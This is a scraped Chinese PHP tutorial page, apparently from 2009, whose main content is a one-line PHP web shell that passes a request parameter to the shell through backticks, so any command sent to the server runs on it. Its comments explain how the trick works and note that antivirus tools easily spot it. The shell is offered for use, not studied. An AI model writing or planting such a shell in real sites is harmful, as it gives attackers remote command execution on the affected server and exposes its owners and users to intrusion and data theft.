当前位置: 首页 > 图文教程 > 网络编程 > PHP > php一句话cmdshell新型 (非一句话木马)

PHP
解决MySQL中文输出变成问号的问题
PHP页面间传递参数实例代码
php下通过POST还是GET来传值
PHP组合查询多条件查询实例代码
PHP简单系统查询模块代码打包下载
PHP添加MySQL数据记录代码
PHP insert语法详解
用PHP进行MySQL删除记录操作代码
PHP简单系统数据添加以及数据删除模块源文件下载
用PHP连接MySQL代码的参数说明
PHP实现MySQL更新记录的代码
PHP-MySQL教程归纳总结
PHP时间戳使用实例代码
PHP中MD5函数使用实例代码
php mysql索引问题
介绍php设计模式中的工厂模式
Php注入点构造代码
坏狼的PHP学习教程之第1天
坏狼的PHP学习教程之第2天
坏狼的PHP学习教程之第3天

PHP 中的 php一句话cmdshell新型 (非一句话木马)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-12   浏览: 188 ::
收藏到网摘: n/a

php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
复制代码 代码如下:

<?php
/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
//局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码;
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>